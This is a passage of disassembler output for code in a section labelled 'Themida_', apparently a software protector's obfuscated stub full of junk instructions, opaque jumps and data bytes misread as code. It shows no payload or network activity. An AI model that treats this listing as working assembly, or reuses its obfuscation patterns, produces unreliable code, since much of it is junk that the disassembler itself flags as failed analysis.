sub_60F39B	endp ; sp-analysis failed

		mov	ax, si
		popa
		mov	bh, ch
		jmp	loc_60F42D
; ---------------------------------------------------------------------------
		db 5, 65h, 0ACh
; ---------------------------------------------------------------------------
		mov	ebx, 34B9BD4Eh


loc_60F42D:				; CODE XREF: Themida_:0060F420j
		jmp	loc_60F43E
; ---------------------------------------------------------------------------
		dw 1674h
		dd 21F815AEh, 0C30B13B6h
		db 0D2h, 0A2h
; ---------------------------------------------------------------------------


loc_60F43E:				; CODE XREF: Themida_:loc_60F42Dj
		mov	esi, 52E01F84h
		js	loc_60F453
		pusha
		adc	edx, 3781FC37h
		push	ecx
		pop	eax
		popa


loc_60F453:				; CODE XREF: Themida_:0060F443j
		mov	edx, 687AE7B3h
		mov	esi, ebx
		mov	si, 0F720h
		jmp	loc_60F46F
; ---------------------------------------------------------------------------
		db 56h
		dd 48F30486h, 0CA461D7Bh
		db 0BAh, 0ECh, 89h
; ---------------------------------------------------------------------------


loc_60F46F:				; CODE XREF: Themida_:0060F45Ej
		add	dl, 0A1h
		jl	loc_60F47B
		mov	cx, bx


loc_60F47B:				; CODE XREF: Themida_:0060F472j
		jnp	loc_60F486
		adc	cx, 4ABFh


loc_60F486:				; CODE XREF: Themida_:loc_60F47Bj
		mov	cx, dx
		cmc
		jmp	loc_60F4A0
; ---------------------------------------------------------------------------
		db 0BCh
		dd 8DA7E10Eh, 0BC633085h, 3671F57h, 0D65B1740h
; ---------------------------------------------------------------------------


loc_60F4A0:				; CODE XREF: Themida_:0060F48Aj
		jb	loc_60F4BA
		jmp	loc_60F4BA
; ---------------------------------------------------------------------------
		db 0C5h
		dd 43C04D20h, 3496F00h,	79DD7A42h
		db 0FCh, 0ECh
; ---------------------------------------------------------------------------


loc_60F4BA:				; CODE XREF: Themida_:loc_60F4A0j
					; Themida_:0060F4A6j
		mov	ch, 0FFh
		mov	di, bx
		jno	loc_60F4C7
		mov	dl, 0BCh


loc_60F4C7:				; CODE XREF: Themida_:0060F4BFj
		movsx	ecx, bx
		mov	ebx, esi
		mov	eax, 82F9825h
		cmc
		adc	cx, 8AEBh
		jle	loc_60F4E2
		add	cx, 2899h


loc_60F4E2:				; CODE XREF: Themida_:0060F4D7j
		jmp	loc_60F4F2
; ---------------------------------------------------------------------------
		fmul	dword ptr [ebp+46AE4900h]
		test	[ebx], edi
		adc	[ebp-50h], cl


loc_60F4F2:				; CODE XREF: Themida_:loc_60F4E2j
		jmp	loc_60F500
; ---------------------------------------------------------------------------
		db 0DBh
		dd 6CF4E4E2h, 0E0B90171h
; ---------------------------------------------------------------------------


loc_60F500:				; CODE XREF: Themida_:loc_60F4F2j
		mov	ax, 0A5BAh
		jmp	loc_60F512
; ---------------------------------------------------------------------------
		db 64h,	74h, 0DDh
; ---------------------------------------------------------------------------
		and	edi, 54h
		or	esp, 6Ch


loc_60F512:				; CODE XREF: Themida_:0060F504j
		jmp	loc_60F529
; ---------------------------------------------------------------------------
		db 2Dh
		dd 5D3C0A1Eh, 0D1DBB90Ah, 4C0E010Ch, 25392F7Fh
		db 8Fh
; ---------------------------------------------------------------------------


loc_60F529:				; CODE XREF: Themida_:loc_60F512j
		jmp	loc_60F540
; ---------------------------------------------------------------------------
		dw 245Bh
		dd 960A9845h, 0EDE7F23Ah, 0B5D503EAh, 0B4CA603Bh
; ---------------------------------------------------------------------------


loc_60F540:				; CODE XREF: Themida_:loc_60F529j
		adc	edx, 6E3BA34Ah
		adc	eax, 338C030Ah
		stc
		mov	ecx, edi
		sbb	cl, 0B2h
		mov	di, 6EE2h
		mov	ah, ch
		clc
		jg	loc_60F568
		pusha
		movsx	edi, si
		mov	bx, 3513h
		popa


loc_60F568:				; CODE XREF: Themida_:0060F559j
		mov	al, bh
		jmp	loc_60F57D
; ---------------------------------------------------------------------------
		db 1Ah
; ---------------------------------------------------------------------------
		neg	dword ptr [edi-41h]
		icebp
		cmp	al, 12h
		jmp	dword ptr [edx-2Fh]
; ---------------------------------------------------------------------------
		aad	0CBh
		retf
; ---------------------------------------------------------------------------
		db 0B1h
; ---------------------------------------------------------------------------


loc_60F57D:				; CODE XREF: Themida_:0060F56Aj
		mov	edx, 62592CF6h
		jp	loc_60F58B
		movzx	ecx, si


loc_60F58B:				; CODE XREF: Themida_:0060F582j
		call	near ptr loc_60F5A3+1
		mov	cl, 1Bh
		xchg	eax, ebx
		sub	al, 9Eh
		leave
		mov	ebp, 0E3FA831Ah
		cmp	al, 0E4h
		sahf
		icebp
		int	0B8h		; used by BASIC	while in interpreter
		dec	esi
		pop	esp


loc_60F5A3:				; CODE XREF: Themida_:loc_60F58Bp
		jnz	short near ptr loc_60F607+4
		mov	eax, 665BD47Fh
		adc	eax, 0DA816074h
		nop
		iret
; ---------------------------------------------------------------------------
		sbb	ebx, [edi+ecx-49h]
		fldenv	byte ptr [esi-7Fh]
		fcmovbe	st, st(5)
		test	al, 0F9h
		mov	ax, 0C6EBh
		jmp	loc_60F5D6
; ---------------------------------------------------------------------------
		dw 0E8B3h
		dd 0FDEB536h, 739F6C9Ah, 0DFC88E27h
; ---------------------------------------------------------------------------
		aam	0F5h


loc_60F5D6:				; CODE XREF: Themida_:0060F5C1j
		jmp	loc_60F5E5
; ---------------------------------------------------------------------------
		db 0B1h
		dd 0DF749EF1h, 0A67011E0h
; ---------------------------------------------------------------------------
		pop	edx


loc_60F5E5:				; CODE XREF: Themida_:loc_60F5D6j
		sbb	edi, 67EE5529h
		jmp	loc_60F5FA
; ---------------------------------------------------------------------------
		dd 77C54B2Eh, 0CDFB92A3h
		db 0AAh, 8Ch
; ---------------------------------------------------------------------------


loc_60F5FA:				; CODE XREF: Themida_:0060F5EBj
		and	si, 0EAB3h
		mov	eax, ecx
		mov	dx, 7020h
		mov	bh, ah


loc_60F607:				; CODE XREF: Themida_:loc_60F5A3j
		jz	loc_60F611
		mov	cx, 0E1CEh


loc_60F611:				; CODE XREF: Themida_:loc_60F607j
		sub	bh, 0E1h
		jmp	loc_60F625
; ---------------------------------------------------------------------------
		db 0ADh, 82h, 0DBh
		dd 0FCB37F40h, 3848BAEEh
		db 0D1h
; ---------------------------------------------------------------------------


loc_60F625:				; CODE XREF: Themida_:0060F614j
		jnb	loc_60F634
		pusha
		mov	ebx, esi
		sub	bx, 4FE6h
		popa


loc_60F634:				; CODE XREF: Themida_:loc_60F625j
		or	eax, 5AB6E28Ah
		mov	bl, 5Eh
		mov	al, dl
		jl	$+6
		mov	di, 77C3h
		js	loc_60F652
		push	ebx
		mov	dh, 0E0h
		pop	eax


loc_60F652:				; CODE XREF: Themida_:0060F648j
		stc
		pusha
		mov	cx, 515Ch
		sbb	esi, 6159D691h
		popa
		mov	cx, bx
		mov	dh, 0CEh
		mov	ax, cx
		clc
		movsx	esi, dx
		and	di, 2CCDh
		mov	ebx, 7BB37030h
		mov	esi, ebx
		jb	loc_60F680
		mov	cx, bx


loc_60F680:				; CODE XREF: Themida_:0060F677j
		mov	eax, esi
		jmp	loc_60F695
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0EFED6ABCh, 8F643D8Dh, 6C2BA271h
; ---------------------------------------------------------------------------
		pop	esi


loc_60F695:				; CODE XREF: Themida_:0060F682j
		sbb	dh, 84h
		clc
		mov	si, ax
		sbb	esi, 5C63A813h
		mov	eax, 384DF259h
		jmp	loc_60F6B1	; CODE XREF: Themida_:0060F6C9j
; ---------------------------------------------------------------------------
		dd 0D508CE5Fh
		db 0ECh
; ---------------------------------------------------------------------------


loc_60F6B1:				; CODE XREF: Themida_:0060F6A7j
		and	di, 419Bh
		movsx	esi, cx
		xor	si, 39F7h
		call	near ptr loc_60F6CD+3
		mov	esi, [edi-156678FFh]
		ja	short near ptr loc_60F6A7+2
		ftst


loc_60F6CD:				; CODE XREF: Themida_:0060F6BEp
		and	eax, 0FAB8EECCh
		mov	cl, 5Dh
		push	eax
		pop	ecx
		pusha
		mov	ax, 564Fh
		mov	ch, 0C5h
		popa
		mov	si, 76CBh
		jmp	loc_60F6ED
; ---------------------------------------------------------------------------
		adc	al, 92h
		push	ss
		int	3		; Trap to Debugger
		mov	cl, 4Ah


loc_60F6ED:				; CODE XREF: Themida_:0060F6E2j
		sub	al, 8Ah
		jle	$+6
		and	cx, 8CFBh
		sbb	eax, 21F7BBF1h
		mov	edx, 1038B983h
		movsx	edx, cx
		jmp	loc_60F71A
; ---------------------------------------------------------------------------
		mov	ds:6A4A8C12h, eax
		mov	ecx, [ecx+27F6C4A8h]
		pop	ebx


loc_60F71A:				; CODE XREF: Themida_:0060F709j
		xor	dh, 0CFh
		mov	ebx, ecx
		movzx	esi, bx
		jns	loc_60F72D
		mov	edx, 653763CBh


loc_60F72D:				; CODE XREF: Themida_:0060F722j
		jnb	loc_60F735
		mov	dh, 6Ch


loc_60F735:				; CODE XREF: Themida_:loc_60F72Dj
		mov	di, 6315h


loc_60F739:				; CODE XREF: Themida_:0060F79Cj
		mov	bl, 7Bh
		jbe	loc_60F75A
		jmp	loc_60F75A
; ---------------------------------------------------------------------------
		dw 3423h
		dd 0B679776Bh, 0D7A6275Bh, 0BAE3F8E7h, 0F31ACD6Bh
		db 6, 0A9h
; ---------------------------------------------------------------------------


loc_60F75A:				; CODE XREF: Themida_:0060F73Bj
					; Themida_:0060F741j
		mov	cl, 9Ch
		push	eax
		jmp	loc_60F775
; ---------------------------------------------------------------------------
		clc
		mov	al, ds:97926708h
		mov	bh, [edx+692826ACh]
		or	cl, ds:0ED04C79h
		lodsd


loc_60F775:				; CODE XREF: Themida_:0060F75Dj
		pop	eax
		mov	ebx, eax
		jle	loc_60F782
		mov	ax, 0F52Eh


loc_60F782:				; CODE XREF: Themida_:0060F778j
		sbb	ch, 42h
		call	near ptr sub_60F793
		pop	ss
		iret
; ---------------------------------------------------------------------------
		and	esi, [ebx+ebp*2]
		ja	short loc_60F80A
		mov	dh, 5Bh

; =============== S U B	R O U T	I N E =======================================



sub_60F793	proc far		; CODE XREF: Themida_:0060F785p
		call	sub_60F7A0
		xlat
		retf	0BA11h
sub_60F793	endp

; ---------------------------------------------------------------------------
		loope	loc_60F739
		adc	ecx, edi

; =============== S U B	R O U T	I N E =======================================



sub_60F7A0	proc near		; CODE XREF: sub_60F793p

arg_264F	= byte ptr  2653h

		jns	$+6
		pop	edx
		pop	esi
		movzx	ebx, dx
		call	near ptr sub_60F7BE
		mov	ch, 0C7h
		mov	edx, 8D62A347h	; CODE XREF: sub_60F7BE+53j
		adc	al, dh
		and	[esp+edi*8-26CAh+arg_264F], al
sub_60F7A0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60F7BE	proc far		; CODE XREF: sub_60F7A0+Bp
		xor	di, 269Ch
		pop	eax
		mov	dx, 88D8h
		mov	di, ax
		mov	ecx, 67F342E5h
		movzx	ebx, cx
		mov	edi, ecx
		stc
		mov	di, cx
		jmp	loc_60F7F2
; ---------------------------------------------------------------------------
		dw 2BD0h
		dd 84E00C7Ah, 919D25D7h, 0C0C5FA55h, 6E42AF8Bh
		db 72h,	0C4h
; ---------------------------------------------------------------------------


loc_60F7F2:				; CODE XREF: sub_60F7BE+1Bj
		jge	loc_60F7F9
		cld


loc_60F7F9:				; CODE XREF: sub_60F7BE:loc_60F7F2j
		sub	edx, 3F26B9C3h
		stc
		jmp	loc_60F816
; ---------------------------------------------------------------------------
		db 0F3h, 80h, 8Eh
		db 0D3h, 49h
; ---------------------------------------------------------------------------


loc_60F80A:				; CODE XREF: Themida_:0060F78Fj
		maxps	xmm0, oword ptr	[edi-32h]
		adc	byte ptr [ebx],	2Dh
		jz	short near ptr loc_60F7B3+4
		jg	short loc_60F84C
		hlt
; ---------------------------------------------------------------------------


loc_60F816:				; CODE XREF: sub_60F7BE+42j
		pusha
		mov	bx, 5DB1h
		push	ebx
		push	eax
		pop	eax
		pop	esi
		popa
		clc
		mov	esi, 22DA67AEh
		mov	dh, bh
		mov	esi, ecx
		mov	di, 2EBEh
		jl	$+6
		mov	ch, bl
		mov	edx, esi
		mov	cl, dl
		mov	bl, 0F0h
		jl	loc_60F845
		mov	si, bx


loc_60F845:				; CODE XREF: sub_60F7BE+7Ej
		mov	dx, bx
		pusha
		mov	dl, 0C1h
		popa


loc_60F84C:				; CODE XREF: sub_60F7BE+55j
		mov	bx, dx
		call	near ptr sub_60F85F
		inc	esp
		retf	26C0h
sub_60F7BE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0D114FE64h
; ---------------------------------------------------------------------------
		pop	ss
		mov	dl, 3Ah

; =============== S U B	R O U T	I N E =======================================



sub_60F85F	proc far		; CODE XREF: sub_60F7BE+91p
		mov	ecx, 1A9960A7h
		pop	ebx
		and	edi, 4AA6427Bh
		jmp	loc_60F875
; ---------------------------------------------------------------------------
		dd 0B6910CC1h
		db 3
; ---------------------------------------------------------------------------


loc_60F875:				; CODE XREF: sub_60F85F+Cj
		jmp	loc_60F88C
; ---------------------------------------------------------------------------
		clc
		cdq
		push	ebp
		xor	dh, [edx]
		sbb	ds:0CCC16018h, edi
		retf	0BA78h
; ---------------------------------------------------------------------------
		dd 0A5C05FB2h
; ---------------------------------------------------------------------------


loc_60F88C:				; CODE XREF: sub_60F85F:loc_60F875j
		and	ch, 6Dh
		push	ebx
		jmp	loc_60F89A
; ---------------------------------------------------------------------------
		db 7Ah,	73h, 90h
		db 84h,	87h
; ---------------------------------------------------------------------------


loc_60F89A:				; CODE XREF: sub_60F85F+31j
		pop	edx
		mov	di, cx
		mov	dl, 0FCh
		ja	loc_60F8A8
		mov	dl, 0B4h


loc_60F8A8:				; CODE XREF: sub_60F85F+41j
		push	edi
		xor	eax, 5559C41Bh
		pop	edx
		mov	ebx, 5732D68Eh
		jge	loc_60F8CE
		jbe	loc_60F8CE
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		dw 5C28h
		dd 0F7B41ECFh
		db 49h,	7Bh
; ---------------------------------------------------------------------------


loc_60F8CE:				; CODE XREF: sub_60F85F+56j
					; sub_60F85F+5Cj ...
		pusha
		clc
		jle	$+6
		popa
		mov	dx, ax
		mov	dx, 6DD9h
		and	esi, 4B5884F5h
		movsx	esi, si
		adc	cl, 5Bh
		jz	loc_60F8FD
		jmp	loc_60F8FD
; ---------------------------------------------------------------------------
		db 1, 6Bh, 0E2h
		dd 0DD65DC54h
		db 0CAh
; ---------------------------------------------------------------------------


loc_60F8FD:				; CODE XREF: sub_60F85F+8Bj
					; sub_60F85F+91j
		mov	cx, 5017h
		jbe	loc_60F90B


loc_60F907:				; CODE XREF: Themida_:0060F97Dj
		mov	ax, 0E2D9h


loc_60F90B:				; CODE XREF: sub_60F85F+A2j
		add	cl, 65h
		mov	esi, edi
		mov	eax, 70B6C9A0h
		mov	bh, 7Ah
		jb	loc_60F923
		xor	esi, 6ECEBF28h


loc_60F923:				; CODE XREF: sub_60F85F+B8j
		movsx	edx, di
		jz	loc_60F932
		sub	ebx, 3A825111h


loc_60F932:				; CODE XREF: sub_60F85F+C7j
		sbb	cl, 8
		push	ecx
		mov	ax, 80A5h
		pop	edi
		mov	cl, 0A5h
		movzx	esi, cx
		mov	edi, 7DA5E5D9h
		add	dx, 0CEDFh
		jmp	loc_60F960
; ---------------------------------------------------------------------------
		enter	2A7Dh, 8Dh
		retf	72BFh
; ---------------------------------------------------------------------------
		dw 718Bh
		dd 3FF26266h, 38A766DCh
; ---------------------------------------------------------------------------


loc_60F960:				; CODE XREF: sub_60F85F+EBj
		call	near ptr loc_60F96B+1
		xchg	eax, esp
		xchg	esi, [edx-5Dh]
		pop	ds
		xchg	eax, ebx


loc_60F96B:				; CODE XREF: sub_60F85F:loc_60F960p
		adc	[eax+53h], bl
sub_60F85F	endp ; sp-analysis failed

		jmp	loc_60F97F
; ---------------------------------------------------------------------------
		db 8Fh
; ---------------------------------------------------------------------------
		stosb
		mov	dh, 96h
		push	ds
		jge	short loc_60F9CA
		mov	dh, 41h
		jns	short loc_60F907


loc_60F97F:				; CODE XREF: Themida_:0060F96Ej
		pop	edi
		jmp	loc_60F990
; ---------------------------------------------------------------------------
		db 4Fh,	2Ah, 27h
		dd 10192F5Fh, 11C3201Bh
; ---------------------------------------------------------------------------


loc_60F990:				; CODE XREF: Themida_:0060F980j
		mov	ax, cx
		mov	ebx, edi
		jbe	loc_60F9A0
		xor	dx, 5A8h


loc_60F9A0:				; CODE XREF: Themida_:0060F995j
		push	ecx
		mov	cx, di
		pop	edx
		mov	di, 0DEE0h
		movzx	esi, bx
		clc
		call	near ptr loc_60F9B6+1
		xchg	eax, esi
		add	[eax], bh
		pop	ecx


loc_60F9B6:				; CODE XREF: Themida_:0060F9ADp
		cmp	al, 57h
		clc
		pop	edx
		pop	edx
		cld
		jmp	loc_60F9D3
; ---------------------------------------------------------------------------
		test	dl, dl
		lea	eax, [edx]
		sub	eax, 82E6038Dh


loc_60F9CA:				; CODE XREF: Themida_:0060F978j
		db	26h
		setalc
		mov	dh, 2Ah
; ---------------------------------------------------------------------------
		dw 9108h
		db 9Ah,	0DEh, 0C6h
; ---------------------------------------------------------------------------


loc_60F9D3:				; CODE XREF: Themida_:0060F9BCj
		mov	di, cx
		mov	eax, ecx
		jl	loc_60F9DF
		clc


loc_60F9DF:				; CODE XREF: Themida_:0060F9D8j
		jmp	loc_60F9F0
; ---------------------------------------------------------------------------
		dd 15E72A8Fh, 104F0CD7h, 0C75646B1h
; ---------------------------------------------------------------------------


loc_60F9F0:				; CODE XREF: Themida_:loc_60F9DFj
		mov	edi, edx
		jmp	loc_60FA06
; ---------------------------------------------------------------------------
		db 57h
		dd 0C3790A1Dh, 0D1869D78h, 9C1ACC71h
		db 28h,	8Fh
; ---------------------------------------------------------------------------


loc_60FA06:				; CODE XREF: Themida_:0060F9F2j
		adc	ax, 1667h
		jo	loc_60FA14
		movzx	ebx, di


loc_60FA14:				; CODE XREF: Themida_:0060FA0Bj
		movsx	eax, dx
		mov	edi, 1A0250F2h
		pusha
		jmp	loc_60FA28
; ---------------------------------------------------------------------------
		dw 0FC22h
		dd 40A73ECFh
; ---------------------------------------------------------------------------


loc_60FA28:				; CODE XREF: Themida_:0060FA1Dj
		mov	ch, 0FEh
		popa
		push	esi
		adc	ecx, 68A6F3DCh
		pop	edx
		and	eax, 1EB9BAC4h
		pusha
		mov	eax, 580154h
		popa
		movsx	esi, si
		mov	eax, 2A69E9E8h
		mov	bx, 0E284h
		movsx	edx, di
		mov	ebx, 631678Dh
		mov	dx, bx
		xor	edi, 607A1EC0h
		movzx	eax, dx
		mov	eax, 3D005582h
		movzx	edi, cx
		mov	esi, 47E89964h
		jmp	loc_60FA7C
; ---------------------------------------------------------------------------
		dw 6BF3h
		dd 0A7538BC4h, 0A8277DDFh
; ---------------------------------------------------------------------------


loc_60FA7C:				; CODE XREF: Themida_:0060FA6Dj
		mov	ecx, esi
		pusha
		mov	bx, 569h
		pusha
		sub	bx, 0E594h
		jnz	$+6
		popa
		popa
		jmp	loc_60FAA9
; ---------------------------------------------------------------------------
		dw 7091h
		dd 25EB9426h, 0A7078D69h, 0F04C1943h, 60D167DDh
		db 0
; ---------------------------------------------------------------------------


loc_60FAA9:				; CODE XREF: Themida_:0060FA91j
		jmp	loc_60FABB
; ---------------------------------------------------------------------------
		align 10h
		dd 0E39C43FCh, 0D6E8533Eh
		db 30h,	0AAh, 71h
; ---------------------------------------------------------------------------


loc_60FABB:				; CODE XREF: Themida_:loc_60FAA9j
		xor	ecx, 6DD974EBh
		mov	cx, 0CDCEh
		mov	di, cx
		mov	ah, 8
		sub	dx, 1B60h
		jmp	loc_60FADC	; CODE XREF: sub_60FB26+26j
; ---------------------------------------------------------------------------
		dd 7194C50h, 0BDA5FDF3h
; ---------------------------------------------------------------------------


loc_60FADC:				; CODE XREF: Themida_:0060FACFj
		mov	ebx, edi
		adc	bx, 0D2FAh
		push	ecx
		mov	eax, ebx
		pop	edi
		sub	cx, 92C6h
		call	near ptr loc_60FAF7+1
		les	edx, [eax]
		pop	esp
		pop	ss
		xchg	eax, edi
		stc


loc_60FAF7:				; CODE XREF: Themida_:0060FAECp
		mov	dword ptr [eax+51h], 59F2B70Fh
		cld
		jmp	loc_60FB10
; ---------------------------------------------------------------------------
		adc	al, 88h
		cli
		mov	edx, 54F06D3Ch
		push	0FFFFFFD5h
		push	esi
		push	esp


loc_60FB10:				; CODE XREF: Themida_:0060FAFFj
		add	di, 0DEB9h
		push	eax
		call	sub_60FB26
		hlt
; ---------------------------------------------------------------------------
		dd 0FBAE64D6h, 0D2035939h
		db 0E2h, 75h

; =============== S U B	R O U T	I N E =======================================



sub_60FB26	proc near		; CODE XREF: Themida_:0060FB16p
		sub	edi, 400665C1h
		pop	ebx
		pop	esi
		mov	edx, 1CDC1919h
		sub	eax, 10408B39h
		cmc
		call	near ptr loc_60FB4E+1
		out	dx, eax
		sub	edi, [ebx]
		dec	esi
		cmp	eax, 0C5EBEE7h
		test	[ebx+24h], al
		lodsd
		loope	near ptr loc_60FACF+3


loc_60FB4E:				; CODE XREF: sub_60FB26+14p
		xchg	bh, [edi+62268B15h]
sub_60FB26	endp ; sp-analysis failed

		pop	eax
		jmp	loc_60FB6B
; ---------------------------------------------------------------------------
		dw 8A20h
		dd 7C59F85Dh, 305FA29Dh, 9FD9BBBDh
; ---------------------------------------------------------------------------
		xchg	al, bl
		lahf


loc_60FB6B:				; CODE XREF: Themida_:0060FB55j
		jmp	loc_60FB82
; ---------------------------------------------------------------------------
		dd 0C686F894h, 3D063FDCh, 0B6121DEFh, 0B4F2E98Eh
; ---------------------------------------------------------------------------
		or	edx, [edx]


loc_60FB82:				; CODE XREF: Themida_:loc_60FB6Bj
		jmp	loc_60FB91
; ---------------------------------------------------------------------------
		db 39h
		dd 0DCB42D53h, 0BE208045h
		db 0C1h
; ---------------------------------------------------------------------------


loc_60FB91:				; CODE XREF: Themida_:loc_60FB82j
		jmp	loc_60FBA1
; ---------------------------------------------------------------------------
		inc	esi
		sbb	eax, 37A8C223h
		daa
		retn	0A984h
; ---------------------------------------------------------------------------
		cmpsd


loc_60FBA1:				; CODE XREF: Themida_:loc_60FB91j
		pusha
		js	loc_60FBAE
		sub	edi, 557841DBh


loc_60FBAE:				; CODE XREF: Themida_:0060FBA2j
		mov	bh, ah
		popa
		push	edi
		pusha
		mov	eax, ebx
		push	esi
		pop	esi
		popa
		pop	eax
		sbb	eax, 32802FE2h
		jmp	loc_60FBCB
; ---------------------------------------------------------------------------
		dd 0EA53200Bh
; ---------------------------------------------------------------------------
		dec	ecx
		mov	al, 0A9h


loc_60FBCB:				; CODE XREF: Themida_:0060FBBFj
		push	edi
		mov	eax, ecx
		pop	ebx
		jmp	loc_60FBE1
; ---------------------------------------------------------------------------
		dd 14AAA518h, 2257E9EDh, 2695BD52h
		db 0E7h
; ---------------------------------------------------------------------------


loc_60FBE1:				; CODE XREF: Themida_:0060FBCFj
		mov	cx, bx
		jnz	loc_60FBFE
		jmp	loc_60FBFE
; ---------------------------------------------------------------------------
		db 32h
		dd 0E356821h, 759A3E78h, 0EFE31BA1h
		db 0A3h, 4Ah
; ---------------------------------------------------------------------------


loc_60FBFE:				; CODE XREF: Themida_:0060FBE4j
					; Themida_:0060FBEAj
		mov	cx, bx
		adc	ax, 9E47h
		adc	bh, 54h
		cmc
		mov	cx, di
		mov	dh, bl
		jmp	loc_60FC1F
; ---------------------------------------------------------------------------
		dd 0D2D3E941h, 0BEA2512h
		db 38h,	3Ah, 4
; ---------------------------------------------------------------------------


loc_60FC1F:				; CODE XREF: Themida_:0060FC0Fj
		sbb	bl, 4Eh
		push	ecx
		add	edi, 267475E4h
		pop	ebx
		jmp	loc_60FC3D
; ---------------------------------------------------------------------------
		db 0A5h
		dd 3D5D921h, 0E901416Eh, 73CD3A93h
		db 0EDh
; ---------------------------------------------------------------------------


loc_60FC3D:				; CODE XREF: Themida_:0060FC2Aj
		jno	loc_60FC45
		mov	eax, ecx


loc_60FC45:				; CODE XREF: Themida_:loc_60FC3Dj
		adc	ecx, 6E87B743h
		jbe	loc_60FC53
		push	esi
		pop	eax


loc_60FC53:				; CODE XREF: Themida_:0060FC4Bj
		jmp	loc_60FC63
; ---------------------------------------------------------------------------
		retf	96CAh
; ---------------------------------------------------------------------------
		db 0FAh
		dd 0D35825B8h
		db 93h,	44h, 0C1h
; ---------------------------------------------------------------------------


loc_60FC63:				; CODE XREF: Themida_:loc_60FC53j
		xor	si, 0CC3Eh
		pusha
		mov	cl, 79h
		pusha
		mov	ax, 0BAA1h
		mov	cx, di
		popa
		popa
		jp	loc_60FC7F
		mov	ax, 1512h


loc_60FC7F:				; CODE XREF: Themida_:0060FC75j
		mov	ebx, eax
		or	ebx, 75A699E3h
		jmp	loc_60FC96
; ---------------------------------------------------------------------------
		dd 19B88E57h, 85671DBh
; ---------------------------------------------------------------------------
		dec	ebp
		cwde


loc_60FC96:				; CODE XREF: Themida_:0060FC87j
		adc	cx, 0B737h
		mov	edx, ecx
		call	near ptr loc_60FCAC+2
		leave
		test	[esi-32AE5325h], ch
		cwde
		add	cl, [edx]


loc_60FCAC:				; CODE XREF: Themida_:0060FC9Dp
		call	near ptr 69E5D8h
; ---------------------------------------------------------------------------
		db 2 dup(0), 95h
		dd 0F8EA206Ch, 5951A88Ch, 11E9h, 5231F700h, 490872EAh
		dd 0C2E751A6h, 938E40C4h, 0F18A6A51h, 60F98B66h, 68B0Fh
		dd 8E0F0000h, 0
; ---------------------------------------------------------------------------
		jmp	loc_60FCF5
; ---------------------------------------------------------------------------
		db 54h,	0B3h, 23h
		dd 4349AFF8h, 7BF963DBh
		db 0BCh
; ---------------------------------------------------------------------------


loc_60FCF5:				; CODE XREF: Themida_:0060FCE4j
		popa
		mov	cx, si
		jnz	loc_60FD0C
		jmp	loc_60FD0C
; ---------------------------------------------------------------------------
		dd 0FE5C291Ah, 853077DCh
; ---------------------------------------------------------------------------


loc_60FD0C:				; CODE XREF: Themida_:0060FCF9j
					; Themida_:0060FCFFj
		js	loc_60FD18
		sbb	esi, 310E0EABh


loc_60FD18:				; CODE XREF: Themida_:loc_60FD0Cj
		call	near ptr sub_60FD2C
; START	OF FUNCTION CHUNK FOR sub_60FD2C
		mov	[ecx-6Bh], ecx
		or	ah, [ecx+39h]
		push	edi
		repne cmp byte ptr [edx+7B02DB74h], 2Fh
; END OF FUNCTION CHUNK	FOR sub_60FD2C

; =============== S U B	R O U T	I N E =======================================



sub_60FD2C	proc far		; CODE XREF: Themida_:loc_60FD18p

; FUNCTION CHUNK AT 0060FD1D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0060FDBD SIZE 00000024 BYTES

		pop	eax
		cmc
		push	esi
		mov	di, 481Eh
		pop	eax
		adc	esi, 5E70880Ch


loc_60FD3A:				; CODE XREF: sub_60FD2C+1Fj
		mov	edi, 0BC143F5h
		xor	dx, 7C34h
		jmp	loc_60FD5B
; ---------------------------------------------------------------------------
		wait
		lodsd
		jle	short loc_60FD3A
		mov	ebx, 0DC12D329h
		retf
; ---------------------------------------------------------------------------
		align 4
		dd 23D44D6Ch
		db 0ABh, 7Dh, 1Bh
; ---------------------------------------------------------------------------


loc_60FD5B:				; CODE XREF: sub_60FD2C+18j
		cmc
		pusha
		jmp	loc_60FD6D
; ---------------------------------------------------------------------------
		dw 3AFDh
		dd 0C3B96297h, 736A0238h
		db 0
; ---------------------------------------------------------------------------


loc_60FD6D:				; CODE XREF: sub_60FD2C+31j
		jbe	loc_60FD82
		jmp	loc_60FD82
; ---------------------------------------------------------------------------
		dd 945E96F6h, 239AB443h
		db 0D1h, 84h
; ---------------------------------------------------------------------------


loc_60FD82:				; CODE XREF: sub_60FD2C:loc_60FD6Dj
					; sub_60FD2C+47j
		popa
		jmp	loc_60FD8E
; ---------------------------------------------------------------------------
		dd 8AAB1A55h
		db 76h,	8Fh
; ---------------------------------------------------------------------------


loc_60FD8E:				; CODE XREF: sub_60FD2C+57j
		pusha
		pusha
		sbb	ecx, 618F3344h
		popa
		clc
		popa
		jp	loc_60FDBD
		call	near ptr loc_60FDAB+2
		mov	[edx], cl
		out	0FBh, al	; AT 80287 data.
					; 286 sends opcodes & operands and receives results.
		xor	esi, ebp
		push	ebp


loc_60FDAB:				; CODE XREF: sub_60FD2C+73p
		mov	eax, ds:0AE97Bh
sub_60FD2C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0C7590000h, 59949C46h, 0E10A15D0h
; ---------------------------------------------------------------------------
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_60FD2C


loc_60FDBD:				; CODE XREF: sub_60FD2C+6Dj
		mov	dl, bl
		pusha
		mov	di, 8599h
		mov	bl, 0Ah
		popa
		add	di, 0E9F5h
		movzx	ecx, ax
		push	esi
		pop	edi
		ja	loc_60FDD9
		mov	ebx, edx


loc_60FDD9:				; CODE XREF: sub_60FD2C+A5j
		movsx	ecx, ax
		jmp	sub_60FDE8
; END OF FUNCTION CHUNK	FOR sub_60FD2C
; ---------------------------------------------------------------------------
		inc	esi
		add	[eax-4312F74h],	eax

; =============== S U B	R O U T	I N E =======================================



sub_60FDE8	proc near		; CODE XREF: sub_60FD2C+B0j
		push	ebx
		jmp	loc_60FDF8
; ---------------------------------------------------------------------------
		dw 0EB2Eh
		dd 0C5E8B8C7h, 374CC6F6h
; ---------------------------------------------------------------------------


loc_60FDF8:				; CODE XREF: sub_60FDE8+1j
		pop	esi
		and	ax, 0B6E0h
		mov	bx, 250Dh
		and	eax, 0EEFD776h
		jns	loc_60FE14
		adc	eax, 31C97178h


loc_60FE14:				; CODE XREF: sub_60FDE8+20j
		and	dh, 0ADh
		pusha
		mov	esi, 656016A1h
		jmp	loc_60FE2E
; ---------------------------------------------------------------------------
		dw 71FFh
